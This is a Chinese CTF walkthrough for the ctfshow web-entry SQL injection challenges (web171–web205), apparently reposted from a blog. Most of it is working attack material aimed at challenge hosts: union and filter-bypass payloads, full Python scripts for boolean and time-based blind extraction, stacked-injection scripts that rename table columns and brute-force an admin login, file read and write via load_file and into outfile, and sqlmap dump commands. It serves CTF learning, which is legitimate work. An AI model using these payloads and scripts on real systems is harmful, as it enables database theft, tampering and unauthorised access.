ctfshow web入门 sql注入-Toy模板网

这篇具有很好参考价值的文章主要介绍了ctfshow web入门 sql注入。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

前言

sql注入分为多种类型的注入，我将对ctfshow web入门的sql入门进行题目分类，并在最后对每种sql注入做一下总结;

web171

本题类型联合注入

第一种方法万能密码

1'or 1=1 --+

第二种方法

联合注入

# @Author:Y4tacker
# 查数据库
payload = "-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+"
# 查列名
payload="-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+"
# 查flag
payload="-1'union select id,username,password from ctfshow_user --+"

这是按照数据库中有3个数据库进行，因为题目一般为3，当然也可以使用查询语句进行查询，语句如下

1' order by 3 --+

web172

联合查询

这道题同上，只不过不让userrname返回flag字样，所以就是基于联合查询的绕过

-1' union select 1,2 --+
-1' union select to_base64(username),hex(password) from ctfshow_user2 --+

web173

联合查询

只是让第一行也要返回数据

1' union select id,hex(username),hex(password) from ctfshow_user3--+

多一个点就行

web174

盲注

注意需要将url换成4

二分查找脚本

# @Author:Y4tacker
import requests

url = "http://e076200d-5e74-4121-b2fc-04153243f7a3.chall.ctf.show/api/v4.php?id=1' and "

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        payload = f'1=if(ascii(substr((select  password from ctfshow_user4 limit 24,1),{i},1))>{mid},1,0) -- -'
        r = requests.get(url + payload)
        if "admin" in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

二分查找的相关函数也是盲注的相关函数

length() 函数 返回字符串的长度

substr() 截取字符串 （语法:SUBSTR(str,pos,len);） 

ascii() 返回字符的ascii码   [将字符变为数字wei]

sleep() 将程序挂起一段时间n为n秒

if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

web175

时间盲注

说一下时间盲注，时间盲注的关键函数就是sleep()，在sleep中，sleep(n)就是停留n秒，这里的通过回显的时间长短来看看是否有时间盲注；

对于时间盲注测试

?id=1' and if(length(database())>=8,sleep(5),1)-- -

看它的反应时间，从而判断是不是含有时间盲注，如果随着sleep()中的时间增长，反应时间也会增长，那么就存在时间盲注

本题脚本

# @Author:Y4tacker
import requests

url = "http://7eac161c-e06e-4d48-baa5-f11edaee7d38.chall.ctf.show/api/v5.php?id=1' and "

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1 #右移位算符，就是左边(head+tail)是要移的原数，而1就是要移的位数，1就是要除以2的几次方，1就是一次方。这里是二分法就是每次要除于2
        payload = f'1=if(ascii(substr((select  password from ctfshow_user5 limit 24,1),{i},1))>{mid},sleep(2),0) -- -'
        try:
            r = requests.get(url + payload, timeout=0.5)  //解释一下timeout是如果超过0.5秒没有响应就会返回异常
            tail = mid
        except Exception as e:
            head = mid + 1

    if head != 32:
        result += chr(head)  #unicode解码函数，将数字转为对应的unicode字母
    else:
        break
    print(result)

第二种方法

利用读写文件写入网站根目录
http://7eac161c-e06e-4d48-baa5-f11edaee7d38.chall.ctf.show/api/v5.php?id=1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'--+&page=1&limit=10
之后访问http://7eac161c-e06e-4d48-baa5-f11edaee7d38.chall.ctf.show/1.txt

web176

联合注入

第一种方法

万能密码

1'or 1=1 --+

第二种方法

就是用大小写绕过

1' uNion sElect 1,2,password from ctfshow_user --+

web177

联合注入

就是空格被过滤了，就绕过空格就行

1'/**/union/**/select/**/password,1,1/**/from/**/ctfshow_user/**/where/**/username/**/='flag'%23

web178

联合注入

同上题，过滤了空格和*

解法1

过滤了空格与*号等用%09绕过
1'%09union%09select%091,2,3%23
之后一把梭得到flag1'%09union%09select%091,2,password%09from%09ctfshow_user%23

解法二

万能密码

id=1'or'1'='1'%23

web179

同上，只是又过滤%09

第一种方法

万能密码

id=1'or'1'='1'%23

第二种方法

这次还把%09过滤了，测试了下发现%0c可以绕过
所以1'union%0cselect%0c1,2,password%0cfrom%0cctfshow_user%23

web180-182

把所有空格都过滤了，用万能密码，还可以用盲注

id=-1'or(id=26)and'1'='1

web183

布尔盲注


import string

import requests

url = "http://ff8c3946-0975-4e96-b520-a7a95a9f5038.challenge.ctf.show:8080/select-waf.php"
payload = "(ctfshow_user)where(pass)like(0x{})"
true_flag = "$user_count = 1;"


def make_payload(has: str) -> str:
    return payload.format((has + "%").encode().hex())


def valid_payload(p: str) -> bool:
    data = {
        "tableName": p
    }
    response = requests.post(url, data=data)
    return true_flag in response.text


flag = "ctf" # 这里注意表中用 like 'ctf%' 只有一个结果，要提前给出这一小段 flag 头避免其他记录干扰匹配
while True:
    for c in "{}-" + string.digits + string.ascii_lowercase:
        pd = flag+c
        print(f"\r[*] trying {pd}", end="")
        if valid_payload(make_payload(pd)):
            flag += c
            print(f"\r[*] flag: {flag}")
            break
    if flag[-1] == "}":
        break

脚本如上

web184

过滤 ban 了 where，可以用 right/left/inner join 代替


import string

import requests

url = "http://89463a4c-73a0-4eb7-bc52-ed12c47bf60b.challenge.ctf.show:8080/select-waf.php"
payload = "ctfshow_user as a right join ctfshow_user as b on b.pass regexp(0x{})"
true_flag = "$user_count = 43;"


def make_payload(has: str) -> str:
    return payload.format((has).encode().hex())


def valid_payload(p: str) -> bool:
    data = {
        "tableName": p
    }
    response = requests.post(url, data=data)
    return true_flag in response.text


flag = "ctf" # 这里注意表中用 regexp('ctf') 只有一个结果，要提前给出这一小段 flag 头避免其他记录干扰匹配
while True:
    for c in "{}-" + string.digits + string.ascii_lowercase:
        pd = flag+c
        print(f"\r[*] trying {pd}", end="")
        if valid_payload(make_payload(pd)):
            flag += c
            print(f"\r[*] flag: {flag}")
            break
    if flag[-1] == "}":
        break

web185

过滤了数字，自己构造

ctfshow web入门 sql注入,sql,数据库

脚本如下

# @Author:Y4tacker
import requests

url = "http://341e93e1-a1e7-446a-b7fc-75beb0e88086.chall.ctf.show/select-waf.php"

flag = 'flag{'


def createNum(n):
    num = 'true'
    if n == 1:
        return 'true'
    else:
        for i in range(n - 1):
            num += "+true"
    return num


for i in range(45):
    if i <= 5:
        continue
    for j in range(127):
        data = {
            "tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{createNum(i)},{createNum(1)})regexp(char({createNum(j)})))"
        }
        r = requests.post(url, data=data)
        if r.text.find("$user_count = 43;") > 0:
            if chr(j) != ".":
                flag += chr(j)

                print(flag.lower())
                if chr(j) == "}":
                    exit(0)
                break

web186

同上，脚本如下；

# @Author:Y4tacker
import requests

url = "http://0ee67cf6-8b94-4384-962b-101fce5a7862.chall.ctf.show/select-waf.php"

flag = 'flag{'


def createNum(n):
    num = 'true'
    if n == 1:
        return 'true'
    else:
        for i in range(n - 1):
            num += "+true"
    return num


for i in range(45):
    if i <= 5:
        continue
    for j in range(127):
        data = {
            "tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{createNum(i)},{createNum(1)})regexp(char({createNum(j)})))"
        }
        r = requests.post(url, data=data)
        if r.text.find("$user_count = 43;") > 0:
            if chr(j) != ".":
                flag += chr(j)
                print(flag.lower())
                if chr(j) == "}":
                    exit(0)
                break

web187

这道题属于一个姿势就是绕过md5($_POST['password'],true);老面孔了用户名填写admin密码为ffifdyop

账号是admin密码有两种

ffifdyop
129581926211651571912466741651878684928

web188

在 php 中，当一个字符串当作一个数值来取值，其结果和类型如下: 如果该字符串没有包含 '.'，'e'，'E' 并且其数值值在整形的范围之内该字符串被当作 int 来取值，其他所有情况下都被作为 float 来取值，该字符串的开始部分决定了它的值，如果该字符串以合法的数值开始，则使用该数值，否则其值为0。

$row['pass'] 为 string 类型，若第一个字符不是数字就会被转换为数字 0。尝试在 password 填写数字 0，成功绕过。
登录成功，response 内找到 flag

web189

这道题可以根据用户名username数值是0或1可以得到不同的结果，从而布尔盲注；


import requests

url = "http://06d6c1a8-d2cf-4590-8b20-19fd83835dff.challenge.ctf.show:8080/api/"
payload1 = "if(locate('ctfshow',load_file('/var/www/html/api/index.php'))>{index},0,1)"


def find_flag_index() -> int:
    start = 0
    end = 1000
    while not (abs(start-end) == 1 or start == end):
        p = (start + end) // 2
        data = {
            "username": payload1.format(index=p),
            "password": 0
        }
        response = requests.post(url, data=data)
        if "\\u5bc6\\u7801\\u9519\\u8bef" in response.text:
            start = p
        else:
            end = p
    if end < start:
        end = start
    return end


print("[*] finding flag index")
flag_index = find_flag_index()
print(f"[!] flag index found: {flag_index}")
flag = "c"
flag_index += 1
print("[*] start to injection")
payload2 = "if(ascii(substr(load_file('/var/www/html/api/index.php'),{},1))>{},0,1)"

while flag[-1] != "}":
    start = 32
    end = 127
    while not (abs(start-end) == 1 or start == end):
        p = (start + end) // 2
        data = {
            "username": payload2.format(flag_index, p),
            "password": 0
        }
        response = requests.post(url, data=data)
        if "\\u5bc6\\u7801\\u9519\\u8bef" in response.text:
            start = p
        else:
            end = p
    if end < start:
        end = start
    flag += chr(end)
    print(f"[*] flag: {flag}")
    flag_index += 1

脚本如上

web190

有过滤的字符型注入，没有给出过滤的正则表达式，在 username 处构造 payload 布尔盲注。
先查表名，再查列名，再用列名和表名构造 payload 查 flag。


import requests

url = "http://e542cd49-fc4e-4ed0-a6cf-0ba1142d8c97.challenge.ctf.show:8080/api/"
# 表名 ctfshow_fl0g,ctfshow_user
# payload = "0' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},1,0) -- "
# 列名 id,f1ag,id,username,pass
# payload = "0' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1))>{},1,0) -- "
# flag
payload = "0' or if(ascii(substr((select f1ag from ctfshow_fl0g),{},1))>{},1,0) -- "
true_flag = "\\u5bc6\\u7801\\u9519\\u8bef"
result = ""
index = 1
while True:
    start = 32
    end = 127
    while not (abs(start-end) == 1 or start == end):
        p = (start + end) // 2
        data = {
            "username": payload.format(index, p),
            "password": 0
        }
        response = None
        while True:
            try:
                response = requests.post(url, data=data)
            except:
                continue
            break
        if true_flag in response.text:
            start = p
        else:
            end = p
    if end < start:
        end = start
    result += chr(end)
    print(f"[*] result: {result}")
    index += 1

web191

布尔盲注，上脚本


# 不用二分法
import string

import requests

url = "http://c9b03201-bcdf-42ce-ac5b-c546603c1848.challenge.ctf.show:8080/api/"
payload = "0' or if(substr((select group_concat(table_name) from information_schema.tables where " \
          "table_schema=database()),{},1)='{}',1,0) -- "
true_flag = "\\u5bc6\\u7801\\u9519\\u8bef"


def valid_char(index: int, c: chr) -> bool:
    data = {
        "username": payload.format(index, c),
        "password": 0
    }
    response = None
    while True:
        try:
            response = requests.post(url, data=data)
        except:
            continue
        break
    return true_flag in response.text


result = ""
index = 1

while True:
    for char in string.printable:
        print(f"\r[*] trying: {result + char}", end="")
        if valid_char(index, char):
            result += char
            print(f"\r[*] result: {result}")
            index += 1
            break


# 用了二分法 dejavu~~~
import requests

url = "http://c9b03201-bcdf-42ce-ac5b-c546603c1848.challenge.ctf.show:8080/api/"
# 表名 CtFsHOw{FL0G,CtFsHOw{usEr
# payload = "0' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)>'{}',1,0) -- "
# 列名 ID,F1AG,ID,usErNAME,pAss
# payload = "0' or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1)>'{}',1,0) -- "
# flag
payload = "0' or if(substr((select f1ag from ctfshow_fl0g),{},1)>'{}',1,0) -- "
true_flag = "\\u5bc6\\u7801\\u9519\\u8bef"
result = ""
index = 1
while True:
    start = 32
    end = 127
    while not (abs(start-end) == 1 or start == end):
        p = (start + end) // 2
        data = {
            "username": payload.format(index, chr(p)),
            "password": 0
        }
        response = None
        while True:
            try:
                response = requests.post(url, data=data)
            except:
                continue
            break
        if true_flag in response.text:
            start = p
        else:
            end = p
    if end < start:
        end = start
    result += chr(end)
    print(f"[*] result: {result}")
    index += 1

web192

又过滤了一些东西，不影响上一道题的脚本，直接用上一道题的脚本就行


# 用了二分法 dejavu~~~
import requests

url = "http://c9b03201-bcdf-42ce-ac5b-c546603c1848.challenge.ctf.show:8080/api/"
# 表名 CtFsHOw{FL0G,CtFsHOw{usEr
# payload = "0' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)>'{}',1,0) -- "
# 列名 ID,F1AG,ID,usErNAME,pAss
# payload = "0' or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1)>'{}',1,0) -- "
# flag
payload = "0' or if(substr((select f1ag from ctfshow_fl0g),{},1)>'{}',1,0) -- "
true_flag = "\\u5bc6\\u7801\\u9519\\u8bef"
result = ""
index = 1
while True:
    start = 32
    end = 127
    while not (abs(start-end) == 1 or start == end):
        p = (start + end) // 2
        data = {
            "username": payload.format(index, chr(p)),
            "password": 0
        }
        response = None
        while True:
            try:
                response = requests.post(url, data=data)
            except:
                continue
            break
        if true_flag in response.text:
            start = p
        else:
            end = p
    if end < start:
        end = start
    result += chr(end)
    print(f"[*] result: {result}")
    index += 1

web193

过滤了substr，用mid就行；


import requests

url = "http://308c24b8-b4a7-4ad5-a2b9-42804d696718.challenge.ctf.show:8080/api/"
# 表名 ctfshow{flxg,ctfshow{user
# payload = "0' or if(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)>'{}',1,0) -- "
# 列名 id,f1ag,id,username,pass
# payload = "0' or if(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1)>'{}',1,0) -- "
# flag
payload = "0' or if(mid((select f1ag from ctfshow_flxg),{},1)>'{}',1,0) -- "
true_flag = "\\u5bc6\\u7801\\u9519\\u8bef"
result = ""
index = 1
while True:
    start = 32
    end = 127
    while not (abs(start-end) == 1 or start == end):
        p = (start + end) // 2
        data = {
            "username": payload.format(index, chr(p)),
            "password": 0
        }
        response = None
        while True:
            try:
                response = requests.post(url, data=data)
            except:
                continue
            break
        if true_flag in response.text:
            start = p
        else:
            end = p
    if end < start:
        end = start
    result += chr(end).lower() # 部分字母变成了大写 _ 变成了 { 暂时还不知道什么原因 但可以肯定跟没用 ascii() 有关
    print(f"[*] result: {result}")
    index += 1

web194

新增了一些过滤，不影响上一道题的脚本，直接使用

web195

堆叠注入

没有过滤;和update set = 新学一种姿势，用户名填

0;update`ctfshow_user`set`pass`=0x3130303836

密码已改为10086

所以密码填10086就行

web196

有过滤的数字型注入，给出的过滤正则表达式变得不可信，明明有 select 但还是可以用的，利用堆叠注入绕过密码

1;select(1)
1

web197

这道题还是堆叠注入，直接爆破


import requests

url = "http://5b75f519-f196-427c-bbb1-6841984ef093.challenge.ctf.show:8080/api/"


def alter_table():
    data = {
        "username": "0;alter table ctfshow_user change column pass tmp varchar(255);alter table ctfshow_user change "
                    "column id pass varchar(255);alter table ctfshow_user change column tmp id varchar(255)",
        "password": 1
    }
    _ = requests.post(url, data=data)


success_flag = "\\u767b\\u9646\\u6210\\u529f"


def brute_force_admin():
    for i in range(300):
        data = {
            "username": f"0x{'admin'.encode().hex()}",
            "password": 1
        }
        response = requests.post(url, data=data)
        if success_flag in response.text:
            print(f"[*] msg: {response.text}")
            return


if __name__ == "__main__":
    print("[*] change column id to pass")
    alter_table()
    print("[*] brute force admin password")
    brute_force_admin()

web198

还是堆叠注入，还可以用上一道题脚本

web199

正则禁用了括号，password 改用 text 类型，id 改用 int 类型


import requests

url = "http://3e88c41f-6b50-41ed-9002-e37799200c7c.challenge.ctf.show:8080/api/"


def alter_table():
    data = {
        "username": "0;alter table ctfshow_user change column pass tmp text;alter table ctfshow_user change "
                    "column id pass int;alter table ctfshow_user change column tmp id text",
        "password": 1
    }
    _ = requests.post(url, data=data)


success_flag = "\\u767b\\u9646\\u6210\\u529f"


def brute_force_admin():
    for i in range(300):
        data = {
            "username": f"0x{'admin'.encode().hex()}",
            "password": 1
        }
        response = requests.post(url, data=data)
        if success_flag in response.text:
            print(f"[*] msg: {response.text}")
            return


if __name__ == "__main__":
    print("[*] change column id to pass")
    alter_table()
    print("[*] brute force admin password")
    brute_force_admin()

web200

上一道题脚本可以使用

web201

sqlmap的使用


# 检测注入类型
$ sqlmap http://cd31c7e8-9d3a-4f97-b5b5-7eb0d38d23e0.challenge.ctf.show:8080/api/?id=1 --referer="ctf.show"

# 出库名
$ sqlmap http://cd31c7e8-9d3a-4f97-b5b5-7eb0d38d23e0.challenge.ctf.show:8080/api/?id=1 --referer="ctf.show" -dbs

# 出表名
$ sqlmap http://cd31c7e8-9d3a-4f97-b5b5-7eb0d38d23e0.challenge.ctf.show:8080/api/?id=1 --referer="ctf.show" -D "ctfshow_web" --tables

# 出数据
$ sqlmap http://cd31c7e8-9d3a-4f97-b5b5-7eb0d38d23e0.challenge.ctf.show:8080/api/?id=1 --referer="ctf.show" -D "ctfshow_web" -T "ctfshow_user" --dump

web202

也是sqlmap的使用


$ sqlmap -u "http://5d506c45-1336-4345-858f-1de6dacef1a1.challenge.ctf.show:8080/api/" --data="id=1" --level=3 --risk=3    
$ sqlmap -u "http://5d506c45-1336-4345-858f-1de6dacef1a1.challenge.ctf.show:8080/api/" --data="id=1" --level=3 --risk=3 --dbs
$ sqlmap -u "http://5d506c45-1336-4345-858f-1de6dacef1a1.challenge.ctf.show:8080/api/" --data="id=1" --level=3 --risk=3 --D "ctfshow_web" --tables
$ sqlmap -u "http://5d506c45-1336-4345-858f-1de6dacef1a1.challenge.ctf.show:8080/api/" --data="id=1" --level=3 --risk=3 -D "ctfshow_web" -T "ctfshow_user" --dump

web203

sqlmap的使用


$ sqlmap -u "http://c9d3e765-d676-4c4c-a87b-3b99ebf5e70b.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

web204

sqlmap的使用


$ sqlmap -u "http://38e4a4ea-fb61-45cd-81cb-2f96697a5d0f.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

web205

sqlmap的使用，空格的绕过文章来源地址https://www.toymoban.com/news/detail-831546.html


$ sqlmap -u "http://bc2af829-2f3c-4060-b63c-101630fdfe14.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="http://bc2af829-2f3c-4060-b63c-101630fdfe14.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=space2comment -T ctfshow_flaxca --dump

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